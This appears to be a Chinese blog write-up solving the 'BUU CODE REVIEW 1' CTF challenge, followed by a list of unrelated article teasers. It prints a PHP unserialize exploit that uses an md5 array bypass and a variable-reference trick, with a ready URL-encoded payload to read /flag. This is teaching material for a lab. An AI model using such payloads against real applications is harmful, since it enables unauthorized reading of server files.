BUU CODE REVIEW 1
BUU CODE REVIEW 1
考点:PHP变量引用
源码直接给了

<?phphighlight_file(__FILE__);class BUU {public $correct = "";public $input = "";public function __destruct() {try {$this->correct = base64_encode(uniqid());if($this->correct === $this->input) {echo file_get_contents("/flag");}} catch (Exception $e) {}}
}if($_GET['pleaseget'] === '1') {if($_POST['pleasepost'] === '2') {if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52']) {unserialize($_POST['obj']);}}
}
我们最后一步肯定是BUU类中__destruct()构造方法中的语句echo file_get_contents("/flag");
分析代码,我们需要先绕过三个if语句,使得我们能成功反序列化obj变量
绕过第一、第二个if:
?pleaseget=1 //GET
pleasepost=2 //POST
绕过第三个if:
if(md5($_POST['md51']) == md5($_POST['md52']) && $_POST['md51'] != $_POST['md52'])
要求我们POST提交的参数md51和md52值不相同但是md5编码后弱相等。
我们可以0e碰撞绕过也可以用数组绕过。
md51[]=1&md52[]=2 //POST
成功反序列化之后,我们要满足if($this->correct === $this->input) 判断条件才能给flag。
类中属性correct在判断之前有被赋值:$this->correct = base64_encode(uniqid());
uniqid()函数:获取一个带前缀、基于当前时间微秒数的唯一ID。
所以说类中属性correct每一微秒都在改变,我们无法实际预测其具体的值。
如果要满足$this->correct === $this->input的话,我们只能使用变量引用
变量引用原理类似于C语言中的指针,使两个变量指向同一个地址,那么两个变量值就一定相等了。
POC:
<?php
class BUU {public $correct = "";public $input = "";public function __construct() {$this->input=&$this->correct; //input的地址就是correct的地址。不管correct怎么变,input都等于correct。}}$a=new BUU();
echo urlencode(serialize($a));?>
payload:
obj=O%3A3%3A%22BUU%22%3A2%3A%7Bs%3A7%3A%22correct%22%3Bs%3A0%3A%22%22%3Bs%3A5%3A%22input%22%3BR%3A2%3B%7D //POST

相关文章:
BUU CODE REVIEW 1
BUU CODE REVIEW 1 考点:PHP变量引用 源码直接给了 <?phphighlight_file(__FILE__);class BUU {public $correct "";public $input "";public function __destruct() {try {$this->correct base64_encode(uniqid());if($this->c…...
django使用ztree实现树状结构效果,子节点实现动态加载(l懒加载)
一、实现的效果 由于最近项目中需要实现树状结构的效果,考虑到ztree这个组件大家用的比较多,因此打算在django项目中集成ztree来实现树状的效果。最终实现的示例效果如下: 点击父节点,如果有子节点,则从后台动态请求数据,然后显示出子节点的数据。 二、实现思路 …...
认识springboot 之 了解它的日志 -4
前言 本篇介绍springboot的日志,如何认识日志,如何进行日志持久化,通过日志级别判断信息,了解Lombok插件的使用,通过Lombok自带注释更简洁的来完成日志打印,如有错误,请在评论区指正࿰…...
关于大规模数据处理的解决方案
大规模数据处理已经成为了现代商业和科学的核心。随着互联网普及和物联网技术的发展,越来越多的数据被收集和存储,这些数据包含了各种各样的信息,例如客户行为、传感器读数、社交媒体活动等等。这些数据的数量和复杂性已经超出了传统数据处理…...
免费快速下载省市区县行政区的Shp数据
摘要:一般非专业的GIS应用通常会用到省市等行政区区划边界空间数据做分析,本文简单介绍了如何在互联网上下载省,市,区县的shp格式空间边界数据,并介绍了一个好用的在线数据转换工具,并且开源。 一、首先&am…...
MAC下配置android-sdk
MAC下配置android-sdk 1、前提2、brew安装3、配置sdk 1、前提 安装好JDK安装brew 2、brew安装 brew install android-sdk brew install android-platform-tools检查是否安装成功 android3、配置sdk brew list android-sdk进入配置文件 sudo vim ~/.zshrc配置 export AND…...
Hive-数据倾斜
在计算各省份的GMV时,有可能会发生数据倾斜,解决办法如下: 分组聚合 预聚合思想 map-side(预聚合在map里面)skew-groupby(多个reduce阶段进行汇总):先对倾斜的key加上随机数&#x…...
Java多线程(三)
目录 一、Thread类基本用法 1.1 Thread常见构造方法 1.2 Thread常见属性 二、多线程常用的创建方式 2.1 继承Thread类 2.2 实现Runnable接口 2.3 继承Thread接口,使用匿名内部类 2.4实现Runnable接口,使用匿名内部类 2.5使用lambda表达式 三、线程的启动…...
Linux操作系统3-项目部署
手动部署 步骤 1.在idea中将文件项目进行打包 2.自定义一个文件目录,上传到Linux 3.使用 java -jar jar包名就可以进行运行 注意,如果需要启动该项目,需要确定所需的端口是否打开 采用这种方式,程序运行的时候会出现霸屏,并且会…...
软件测试面试题——接口自动化测试怎么做?
面试过程中,也问了该问题,以下是自己的回答: 接口自动化测试,之前做过,第一个版本是用jmeter 做的,1 主要是将P0级别的功能接口梳理出来,根据业务流抓包获取相关接口,并在jmeter中跑…...
如何在医疗器械行业运用IPD?
医疗器械是指单独或者组合使用于人体的仪器、设备、器具、材料或其他物品,包括所需要的软件。按安全性可分为低风险器械、中风险器械和高风险器械。其中低风险器械大都属于低值耗材,其中包括绷带、纱布、海绵、消毒液等;中度风险器械类包括体…...
16. Spring Boot 统一功能处理
目录 1. 用户登录权限校验 1.1 最初用户登录验证 1.2 Spring AOP 用户统一登陆验证 1.3 Spring 拦截器 1.3.1 创建自定义拦截器 1.3.2 将自定义拦截器加入系统配置 1.4 练习:登录拦截器 1.5 拦截器实现原理 1.6 统一访问前缀添加 2. 统一异常处理 3. 统…...
PostgreSQL-数据库命令
PostgreSQL-数据库命令 介绍 一个数据库是一个或多个模式的集合,而模式包含表、函数等。因此,完整的逻辑组织结构层次是服务器实例(PostgreSQL Server)、数据库(Database)、模式(Schema)、表(Table),以及某些其他对象(如函数)。一个PostgreSQL服务器实例可以管理…...
面试题:说说JavaScript中内存泄漏的几种情况?垃圾回收机制
内存泄漏 一、是什么?二、垃圾回收机制?2.1、标记清除法2.2、引用计数法 三、常见内存泄露情况 一、是什么? 由于疏忽或错误造成程序未能释放已经不再使用的内存;并非指内存在物理上的消失,而是应用程序分配某段内存后…...
HTML基础介绍1
HTML是什么 1.HTML(HyperText Mark-up Language)即超文本标签语言(可以展示的内容类型很多) 2.HTML文本是由HTML标签组成的文本,可以包括文字、图形、动画、声音、表格、连接等 3.HTML的结构包括头部(He…...
【腾讯云 Cloud Studio 实战训练营】Redisgo_task 分布式锁实现
文章目录 前言问题场景腾讯云 Cloud Studio Redisgo_task长短类型分布式场景介绍Redisgo_task实现原理SetNx(valueexpire)原子性子协程Done()时间点子协程中的Ticker Redisgo_task唯一外部依赖Redisgo_task Lock结构Redisgo_task架构健壮性设计Redisgo_task可扩展性Redisgo_tas…...
Linux CentOS系统怎么下载软件
Linux CenOS系统想要下载软件可以在Linux内置的应用商店,并通过Yum 包管理器来下载(直接使用yum命令下载软件) 在Linux系统中,Yum(Yellowdog Updater, Modified)是用于管理RPM软件包的一个包管理器。 安装…...
SNAT和DNAT原理与应用
iptables的备份和还原 1.写在命令行当中的都是临时配置。 2.把我们的规则配置在 备份(导出):iptables-save > /opt/iptables.bak 默认配置文件:/etc/sysconfig/iptables 永久配置:cat /opt/iptables.bak > /etc…...
Java8实战-总结11
Java8实战-总结11 Lambda表达式方法引用管中窥豹如何构建方法引用 构造函数引用 Lambda表达式 方法引用 方法引用让你可以重复使用现有的方法定义,并像Lambda一样传递它们。在一些情况下,比起使用Lambda表达式,它们似乎更易读,感…...
2023爱分析·低代码厂商全景报告|爱分析报告
关键发现 低代码开始向甲方核心场景渗透,呈现两个显著特征:“更深入”、“更垂直”。更深入,即甲方愈发注重低代码在复杂业务场景的应用开发能力;更垂直,即甲方需要使用低代码开发行业垂直应用,因此对行业或…...
【DeepSeek架构演进倒计时】:K8s 1.30+废弃Dockershim后,容器运行时迁移至containerd+Podman的6小时无感切换方案
更多请点击: https://intelliparadigm.com 第一章:DeepSeek微服务架构演进的背景与战略意义 随着DeepSeek大模型训练规模持续扩大、推理服务调用量激增,单体架构在弹性伸缩、故障隔离、团队协作和灰度发布等方面日益暴露出瓶颈。传统单体服务…...
AI大神Karpathy的学习心法,普通人也能直接抄作业
美国时间2026年5月19日,AI 圈被一条重磅消息刷屏:大牛 Andrej Karpathy 在社交媒体上正式宣布加入 Anthropic。对于整个科技圈而言,他的动向影响力堪比当年乔丹宣布重返 NBA 大联盟 。这一次,他加入了 Anthropic 的预训练团队&…...
为什么你的Veo 4K输出只有2K质量?深度拆解Veo 2.3引擎中的3层分辨率欺骗机制与绕过方案
更多请点击: https://codechina.net 第一章:Veo 4K输出质量失真的现象确认与基准测试 近期多位专业视频工程师反馈,Veo系列编码器在启用4K60fps高码率输出时,出现肉眼可辨的色度抽样偏移、边缘锐度衰减及动态场景下的块效应增强。…...
C++ 程序内存分区
C 程序运行时,操作系统会给进程分配虚拟地址空间,在 32/64 位系统中,逻辑上划分为 代码区、全局静态区、常量区、栈区、堆区 5 个区域。下面从存储内容、管理方式、生命周期、权限、代码示例、常见坑逐一拆解。一、代码区(Text 段…...
技术文档_车辆智能监测系统
车辆智能监测系统 - 技术文档 1. 系统概述 1.1 项目背景 本系统是一套基于海康威视SDK和RKNN模型的车辆智能监测系统,主要用于车辆年检场景中的黑烟检测和车牌识别。 1.2 核心功能功能模块说明状态车牌识别通过海康SDK接收车牌抓拍报警✅ 已实现黑烟检测使用RKNN模型…...
无需复杂代理快速为你的项目接入GPT4与Claude等多模型
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 无需复杂代理快速为你的项目接入GPT4与Claude等多模型 基础教程类,面向希望在一个项目中灵活调用不同厂商大模型的开发…...
Unity Dropdown字体高度适配全解:从结构原理到三套实操方案
1. 为什么改Dropdown字体高度会让人抓狂——从UI失衡说起在Unity项目做到中后期,UI团队突然甩来一张截图:“这个下拉菜单文字挤在一起,用户反馈看不清、点不准,上线前必须调”。你点开Hierarchy,选中Dropdown组件&…...
AI Agent 编排框架比较:LangChain vs LlamaIndex vs Agent Info
AI Agent 编排框架比较:LangChain vs LlamaIndex vs Agent Info 前言 随着 AI Agent 的流行,出现了多个优秀的编排框架。选择合适的框架对于构建高效的 Agent 系统至关重要。 我在项目中使用过多个 Agent 框架,对它们的特点和适用场景有深入理…...
Nodejs后端服务集成Taotoken实现智能客服对话
🚀 告别海外账号与网络限制!稳定直连全球优质大模型,限时半价接入中。 👉 点击领取海量免费额度 Node.js 后端服务集成 Taotoken 实现智能客服对话 为客服系统引入智能对话能力,是提升服务效率与用户体验的有效路径。…...
别再复制粘贴了!Element Plus 表格组件与SpringBoot后端数据联调实战
别再复制粘贴了!Element Plus 表格组件与SpringBoot后端数据联调实战 在前后端分离的开发模式中,前端表格组件与后端数据的动态联调是每个开发者必须掌握的技能。Element Plus作为Vue3生态中最受欢迎的UI组件库之一,其表格组件(el-table)的灵…...
